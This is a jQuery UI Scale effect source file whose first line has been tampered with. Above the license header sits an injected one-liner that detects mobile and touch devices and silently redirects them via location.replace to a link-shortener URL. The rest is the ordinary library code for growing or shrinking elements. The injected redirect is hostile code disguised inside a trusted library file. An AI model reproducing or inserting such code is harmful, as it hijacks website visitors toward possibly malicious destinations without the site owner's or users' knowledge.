1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Scale 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Scale Effect
12//>>group: Effects
13//>>description: Grows or shrinks an element and its content.
14//>>docs: https://api.jqueryui.com/scale-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect",
27 "./effect-size"
28 ], factory );
29 } else {
30
31 // Browser globals
32 factory( jQuery );
33 }
34} )( function( $ ) {
35"use strict";
36
37return $.effects.define( "scale", function( options, done ) {
38
39 // Create element
40 var el = $( this ),
41 mode = options.mode,
42 percent = parseInt( options.percent, 10 ) ||
43 ( parseInt( options.percent, 10 ) === 0 ? 0 : ( mode !== "effect" ? 0 : 100 ) ),
44
45 newOptions = $.extend( true, {
46 from: $.effects.scaledDimensions( el ),
47 to: $.effects.scaledDimensions( el, percent, options.direction || "both" ),
48 origin: options.origin || [ "middle", "center" ]
49 }, options );
50
51 // Fade option to support puff
52 if ( options.fade ) {
53 newOptions.from.opacity = 1;
54 newOptions.to.opacity = 0;
55 }
56
57 $.effects.effect.size.call( this, newOptions, done );
58} );
59
60} );
61